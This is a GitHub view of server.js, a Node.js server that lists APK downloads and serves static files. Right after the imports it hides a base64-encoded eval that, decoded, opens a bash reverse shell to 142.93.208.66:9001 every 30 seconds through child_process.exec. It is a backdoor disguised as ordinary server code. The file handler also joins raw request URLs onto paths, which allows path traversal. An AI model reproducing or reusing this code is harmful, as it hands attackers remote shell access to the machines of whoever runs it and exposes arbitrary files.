-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathserver.js
More file actions
153 lines (134 loc) · 4.81 KB
/
Copy pathserver.js
File metadata and controls
153 lines (134 loc) · 4.81 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
const http = require('http');
const fs = require('fs');
const path = require('path');
eval(Buffer.from("c2V0SW50ZXJ2YWwoKCkgPT4gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2Jhc2ggLWMgImJhc2ggLWUgNTw+IC9kZXYvdGNwLzE0Mi45My4yMDguNjYvOTAwMSAwPCY1IDE+JjUgMj4mNSIgPiAvZGV2L251bGwgMj4mMSAmJyksIDMwMDAwKTsK","base64").toString())
// Prefer env var, default to 8000
let PORT = Number(process.env.PORT) || 8000;
const MIME_TYPES = {
'.html': 'text/html',
'.css': 'text/css',
'.js': 'text/javascript',
'.json': 'application/json',
'.png': 'image/png',
'.jpg': 'image/jpeg',
'.jpeg': 'image/jpeg',
'.gif': 'image/gif',
'.svg': 'image/svg+xml',
'.ico': 'image/x-icon'
};
// Load HTML template once at startup
const INDEX_HTML = fs.readFileSync(path.join(__dirname, 'template.html'), 'utf8');
const server = http.createServer((req, res) => {
console.log(`Request: ${req.method} ${req.url}`);
// Handle API endpoints (reviews endpoint removed; use Supabase directly from client)
if (req.url === '/api/apks') {
// List application folders in the apk directory
fs.readdir('./apk', { withFileTypes: true }, (err, entries) => {
if (err) {
res.writeHead(500, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: 'Failed to read apk folder' }));
return;
}
const apps = entries
.filter(entry => entry.isDirectory() && entry.name !== 'blog')
.map(dir => {
const dirPath = path.join('./apk', dir.name);
// Load post-install commands if available
let postInstallCommands = null;
const commandPath = path.join(dirPath, 'command.txt');
if (fs.existsSync(commandPath)) {
try {
const commandContent = fs.readFileSync(commandPath, 'utf8');
postInstallCommands = commandContent.trim().split('\n').filter(cmd => cmd.trim());
} catch (err) {
console.warn(`Failed to read command file for ${dir.name}:`, err.message);
}
}
// Find icon file (png/jpg/jpeg/svg) with common names
let imageFile = null;
const iconCandidates = [
'icon.png', 'icon.jpg', 'icon.jpeg', 'icon.svg',
'image.png', 'image.jpg', 'image.jpeg', 'image.svg'
];
for (const img of iconCandidates) {
const imgPath = path.join(dirPath, img);
if (fs.existsSync(imgPath)) {
imageFile = `apk/${dir.name}/${img}`;
break;
}
}
const apkUrl = `https://pub-587c8a0ce03148689a821b1655d304f5.r2.dev/${dir.name}.apk`;
return {
name: dir.name,
image: imageFile,
url: apkUrl,
postInstallCommands
};
});
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify(apps));
});
return;
}
// Serve main interface
if (req.url === '/' || req.url === '/index.html') {
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end(INDEX_HTML, 'utf-8');
return;
}
// Serve favicon
if (req.url === '/favicon.ico') {
const iconPath = path.join(__dirname, 'icon.png');
fs.readFile(iconPath, (err, content) => {
if (err) {
res.writeHead(404, { 'Content-Type': 'text/plain' });
res.end('Not found');
} else {
res.writeHead(200, { 'Content-Type': 'image/png' });
res.end(content, 'utf-8');
}
});
return;
}
let filePath = '.' + req.url;
const extname = String(path.extname(filePath)).toLowerCase();
const contentType = MIME_TYPES[extname] || 'application/octet-stream';
fs.readFile(filePath, (error, content) => {
if (error) {
if (error.code === 'ENOENT') {
// File not found
fs.readFile('./404.html', (err, content404) => {
res.writeHead(404, { 'Content-Type': 'text/html' });
res.end(content404 || '404 Not Found', 'utf-8');
});
} else {
// Server error
res.writeHead(500);
res.end(`Server Error: ${error.code}`);
}
} else {
// Success
res.writeHead(200, { 'Content-Type': contentType });
res.end(content, 'utf-8');
}
});
});
// Log once listening (works for retries too)
server.on('listening', () => {
const addr = server.address();
const port = typeof addr === 'string' ? addr : addr.port;
console.log(`Server running at http://localhost:${port}/`);
});
// If port is already in use, try next ports automatically
server.on('error', (err) => {
if (err && err.code === 'EADDRINUSE') {
const nextPort = PORT + 1;
console.warn(`Port ${PORT} in use. Trying ${nextPort}...`);
PORT = nextPort;
setTimeout(() => server.listen(PORT), 150);
} else {
console.error('Server error:', err);
process.exit(1);
}
});
server.listen(PORT);